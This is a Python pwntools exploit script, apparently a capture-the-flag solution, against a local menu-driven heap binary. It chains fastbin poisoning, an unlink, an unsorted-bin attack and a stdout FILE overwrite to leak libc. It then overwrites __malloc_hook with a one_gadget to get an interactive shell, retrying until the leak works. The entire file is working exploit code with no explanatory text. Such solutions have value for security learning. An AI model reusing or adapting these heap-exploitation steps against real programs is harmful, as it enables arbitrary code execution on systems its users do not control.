#!/usr/bin/python3
#-*- coding:utf8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def Add(size, content, p):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('\n', str(0x50))
    p.sendlineafter('\n', str(size))
    p.sendafter('\n', content)

def Delete(index, p):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('index ?\n', str(index))

def Edit(index, content, p):
    p.sendlineafter('>> ', '4')
    p.sendlineafter('\n', str(index))
    p.sendafter('\n', content)


def exploit():
    p = process('./pwn')
    Add(0x70, 'A'*0x10, p)  # 0
    Add(0x100, 'A'*0x90, p) # 1
    Add(0x81, 'A'*0x10, p)  # 2
    Delete(0, p)
    Edit(0, p64(0x603260), p)
    Add(0x70, 'A'*0x10, p)  # 3
    Add(0x70, 'A'*0x10, p)  # 4

    Add(0x80, 'A'*0x10, p)  # 5
    Add(0x80, 'A'*0x10, p)  # 6

    # unlink
    Edit(4, '\x70\x00\x00\x00\x90\x00\x00\x00', p)
    Edit(5, p64(0) + p64(0x81) + p64(0x6032f0) + p64(0x6032f8) + b'\x00'*0x60 + p64(0x80) + p64(0x90), p)
    Delete(6, p)

    Add(0x60, 'A'*0x10, p)  # 7
    Delete(7, p)

    # unsortbin attack
    Delete(1, p)
    Edit(1, b'\x00'*0x8 + p64(0x603300), p)
    Add(0x100, 'A'*0x10, p) # 8

    Edit(5, b'A'*0x10 + p64(0x603270) + p64(0x6032f0) + b'\x20\x26', p)
    Edit(6, p64(0xfbad1800) + p64(0)*3 + b'\x00', p)

    try:
        p.recv(0x18)
        libc_base = u64(p.recv(6) + b'\x00\x00') - 0x3c36e0
        if (libc_base >> 40) != 0x7f:
            p.close()
            return 0
        libc.address = libc_base
        info("libc_base ==> " + hex(libc_base))
        malloc_hook = libc.symbols['__malloc_hook']
        info("malloc_hook ==> " + hex(malloc_hook))
    except:
        p.close()
        return 0

    a = [0x45226, 0x4527a, 0xf0364, 0xf1207]
    one_gadget = libc_base + a[3]
    Edit(7, p64(malloc_hook - 0x23), p)
    Add(0x60, 'A'*0x10, p)  # 9
    Add(0x60, b'\x00\x00\x00' + p64(one_gadget), p)  # 10
    Edit(10, b'\x00'*0x13 + p64(one_gadget), p)

    p.sendlineafter('>> ', '1')
    p.sendlineafter('\n', str(0x50))
    p.sendlineafter('\n', str(0x10))

    p.interactive()
    p.close()
    return 1

if __name__ == '__main__':
    while True:
        a = exploit()
        if a:
            break
